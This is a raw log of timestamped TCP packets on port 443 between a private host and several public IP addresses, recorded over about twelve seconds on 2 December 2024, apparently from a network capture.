Dec 2, 2024 01:34:04.309320927 CET	443	49701	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:04.316329002 CET	49701	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:04.330939054 CET	49701	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:04.330965042 CET	443	49701	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:04.334448099 CET	49701	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:04.334466934 CET	443	49701	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:04.654779911 CET	49677	443	192.168.2.7	20.50.201.200
Dec 2, 2024 01:34:05.204288006 CET	443	49701	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:05.204365969 CET	443	49701	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:05.204376936 CET	49701	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:05.204416037 CET	49701	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:05.213439941 CET	49701	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:05.213464022 CET	443	49701	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:05.220611095 CET	49702	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:05.220655918 CET	443	49702	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:05.220725060 CET	49702	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:05.220932961 CET	49702	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:05.220944881 CET	443	49702	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:06.668873072 CET	443	49698	104.98.116.138	192.168.2.7
Dec 2, 2024 01:34:06.668965101 CET	49698	443	192.168.2.7	104.98.116.138
Dec 2, 2024 01:34:06.732928038 CET	443	49702	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:06.732996941 CET	49702	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:06.737179041 CET	49702	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:06.737188101 CET	443	49702	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:06.739753962 CET	49702	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:06.739758015 CET	443	49702	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:07.620152950 CET	443	49702	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:07.620179892 CET	443	49702	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:07.620243073 CET	443	49702	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:07.620254993 CET	49702	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:07.620274067 CET	49702	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:07.620333910 CET	49702	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:07.620553970 CET	49702	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:07.620570898 CET	443	49702	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:07.635385036 CET	49703	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:07.635432959 CET	443	49703	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:07.635504007 CET	49703	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:07.635725021 CET	49703	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:07.635740042 CET	443	49703	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:07.639188051 CET	49677	443	192.168.2.7	20.50.201.200
Dec 2, 2024 01:34:09.031888962 CET	443	49703	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:09.031981945 CET	49703	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:09.032648087 CET	49703	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:09.032658100 CET	443	49703	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:09.034334898 CET	49703	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:09.034339905 CET	443	49703	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:09.905335903 CET	443	49703	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:09.905360937 CET	443	49703	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:09.905442953 CET	49703	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:09.905488014 CET	443	49703	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:09.905510902 CET	49703	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:09.905540943 CET	49703	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:09.905699015 CET	443	49703	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:09.905742884 CET	49703	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:09.905874014 CET	49703	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:09.905889988 CET	443	49703	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:09.913331032 CET	49704	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:09.913379908 CET	443	49704	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:09.913463116 CET	49704	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:09.913660049 CET	49704	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:09.913671017 CET	443	49704	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:10.611443996 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:10.611500025 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:10.611572027 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:10.611934900 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:10.611953020 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:11.352437973 CET	443	49704	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:11.352579117 CET	49704	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:11.353115082 CET	49704	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:11.353136063 CET	443	49704	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:11.354749918 CET	49704	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:11.354769945 CET	443	49704	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:12.229850054 CET	443	49704	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:12.229921103 CET	443	49704	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:12.229965925 CET	49704	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:12.229994059 CET	49704	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:12.230166912 CET	49704	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:12.230185986 CET	443	49704	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:12.253989935 CET	49706	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:12.254048109 CET	443	49706	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:12.254144907 CET	49706	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:12.254362106 CET	49706	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:12.254374027 CET	443	49706	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:12.398526907 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:12.398663044 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:12.400196075 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:12.400207043 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:12.400448084 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:12.409456968 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:12.455324888 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:12.884190083 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:12.884217978 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:12.884234905 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:12.884309053 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:12.884334087 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:12.884378910 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.068563938 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.068593979 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.068742037 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.068773985 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.068811893 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.119379997 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.119410038 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.119554043 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.119570017 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.119605064 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.255569935 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.255601883 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.255693913 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.255716085 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.255728006 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.255755901 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.290431023 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.290452957 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.290555954 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.290569067 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.290601015 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.308305979 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.308329105 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.308438063 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.308445930 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.308497906 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.328841925 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.328861952 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.328943014 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.328953981 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.329000950 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.350819111 CET	49707	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:13.350886106 CET	443	49707	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:13.350967884 CET	49707	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:13.351196051 CET	49707	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:13.351208925 CET	443	49707	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:13.451852083 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.451922894 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.451936007 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.451955080 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.451972961 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.451986074 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.467420101 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.467448950 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.467509031 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.467528105 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.467540979 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.467561007 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.481167078 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.481240988 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.481271982 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.481287003 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.481439114 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.481439114 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.495812893 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.495846033 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.495929956 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.495945930 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.495980978 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.510212898 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.510361910 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.510456085 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.514662981 CET	49705	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.514697075 CET	443	49705	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.556452990 CET	49708	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.556515932 CET	443	49708	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.556618929 CET	49708	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.557145119 CET	49709	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.557193995 CET	443	49709	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.557244062 CET	49709	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.558655977 CET	49710	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.558682919 CET	443	49710	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.558732033 CET	49710	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.559495926 CET	49711	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.559513092 CET	443	49711	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.559559107 CET	49711	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.560113907 CET	49712	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.560142994 CET	443	49712	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.560192108 CET	49712	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.560293913 CET	49708	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.560313940 CET	443	49708	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.560400963 CET	49712	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.560414076 CET	443	49712	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.560487032 CET	49709	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.560514927 CET	443	49709	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.560590029 CET	49710	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.560599089 CET	443	49710	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.560684919 CET	49711	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:13.560693979 CET	443	49711	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:13.592484951 CET	49677	443	192.168.2.7	20.50.201.200
Dec 2, 2024 01:34:13.703228951 CET	443	49706	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:13.703310013 CET	49706	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:13.703736067 CET	49706	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:13.703747034 CET	443	49706	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:13.705379009 CET	49706	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:13.705384970 CET	443	49706	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:13.705430984 CET	49706	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:13.705440044 CET	443	49706	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:14.213738918 CET	49713	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:14.213793039 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:14.213921070 CET	49713	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:14.215878963 CET	49713	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:14.215893030 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:14.397706985 CET	49698	443	192.168.2.7	104.98.116.138
Dec 2, 2024 01:34:14.398123026 CET	49714	443	192.168.2.7	104.98.116.138
Dec 2, 2024 01:34:14.398174047 CET	443	49714	104.98.116.138	192.168.2.7
Dec 2, 2024 01:34:14.398245096 CET	49714	443	192.168.2.7	104.98.116.138
Dec 2, 2024 01:34:14.403832912 CET	49714	443	192.168.2.7	104.98.116.138
Dec 2, 2024 01:34:14.403851986 CET	443	49714	104.98.116.138	192.168.2.7
Dec 2, 2024 01:34:14.517776012 CET	443	49698	104.98.116.138	192.168.2.7
Dec 2, 2024 01:34:14.710592031 CET	443	49706	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:14.710683107 CET	443	49706	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:14.710787058 CET	49706	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:14.711738110 CET	49706	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:14.711755991 CET	443	49706	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:14.751180887 CET	443	49707	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:14.751257896 CET	49707	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:14.752401114 CET	49707	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:14.752413034 CET	443	49707	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:15.279452085 CET	443	49709	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.279587030 CET	443	49712	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.326734066 CET	49709	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.326952934 CET	49712	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.345581055 CET	443	49710	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.353394985 CET	443	49708	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.373748064 CET	49709	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.373780012 CET	443	49709	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.374248981 CET	49709	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.374257088 CET	443	49709	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.374824047 CET	49712	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.374835968 CET	443	49712	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.375363111 CET	49712	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.375370979 CET	443	49712	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.382874966 CET	49710	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.382920027 CET	443	49710	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.383331060 CET	49710	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.383337021 CET	443	49710	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.387653112 CET	49708	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.387660980 CET	443	49708	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.388493061 CET	49708	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.388499022 CET	443	49708	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.728576899 CET	443	49712	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.728605032 CET	443	49712	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.728663921 CET	443	49712	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.728707075 CET	49712	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.728707075 CET	49712	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.731137037 CET	443	49709	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.731161118 CET	443	49709	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.731208086 CET	443	49709	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.731261969 CET	49709	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.731318951 CET	49709	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.790782928 CET	443	49710	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.790807962 CET	443	49710	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.790900946 CET	49710	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.790940046 CET	443	49710	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.791215897 CET	49710	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.794054031 CET	443	49710	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.794121981 CET	443	49710	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.794197083 CET	49710	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.797337055 CET	443	49708	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.797398090 CET	443	49708	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.797537088 CET	49708	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.872819901 CET	49712	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.872819901 CET	49712	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.872852087 CET	443	49712	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.872863054 CET	443	49712	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.879971027 CET	49709	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.880006075 CET	443	49709	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.880019903 CET	49709	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.880027056 CET	443	49709	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.947824955 CET	49710	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.947876930 CET	443	49710	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.947899103 CET	49710	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.947906971 CET	443	49710	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.957021952 CET	49708	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.957030058 CET	443	49708	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:15.957055092 CET	49708	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:15.957058907 CET	443	49708	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.035238981 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:16.035346031 CET	49713	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:16.059771061 CET	49713	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:16.059818029 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:16.060193062 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:16.087727070 CET	49716	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:16.087789059 CET	443	49716	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:16.087889910 CET	49716	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:16.088222027 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:16.088277102 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:16.088335037 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:16.088419914 CET	49718	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:16.088438034 CET	443	49718	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:16.088484049 CET	49718	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:16.088573933 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:16.088586092 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:16.088625908 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:16.089874983 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:16.089895964 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:16.090230942 CET	49718	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:16.090244055 CET	443	49718	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:16.090379000 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:16.090394020 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:16.090683937 CET	49716	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:16.090701103 CET	443	49716	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:16.109740973 CET	49713	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:16.150803089 CET	49707	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:16.150841951 CET	443	49707	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:16.152288914 CET	49722	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.152337074 CET	443	49722	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.152420998 CET	49722	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.153548956 CET	49723	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.153606892 CET	443	49723	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.153672934 CET	49723	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.155929089 CET	49724	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.155962944 CET	443	49724	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.156191111 CET	49724	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.158054113 CET	49725	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.158099890 CET	443	49725	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.158236027 CET	49725	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.158911943 CET	49722	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.158943892 CET	443	49722	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.159208059 CET	49723	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.159235001 CET	443	49723	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.162149906 CET	49724	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.162173033 CET	443	49724	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.162584066 CET	49725	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.162606955 CET	443	49725	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.361989975 CET	443	49711	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.406878948 CET	49711	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.577068090 CET	49711	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.577102900 CET	443	49711	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.577641964 CET	49711	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.577653885 CET	443	49711	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.912895918 CET	443	49711	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.915344000 CET	443	49711	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.915400982 CET	49711	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.915443897 CET	49711	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.915472031 CET	443	49711	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.915483952 CET	49711	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.915489912 CET	443	49711	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.919203043 CET	49729	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.919243097 CET	443	49729	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:16.919329882 CET	49729	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.919527054 CET	49729	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:16.919538975 CET	443	49729	13.107.246.63	192.168.2.7
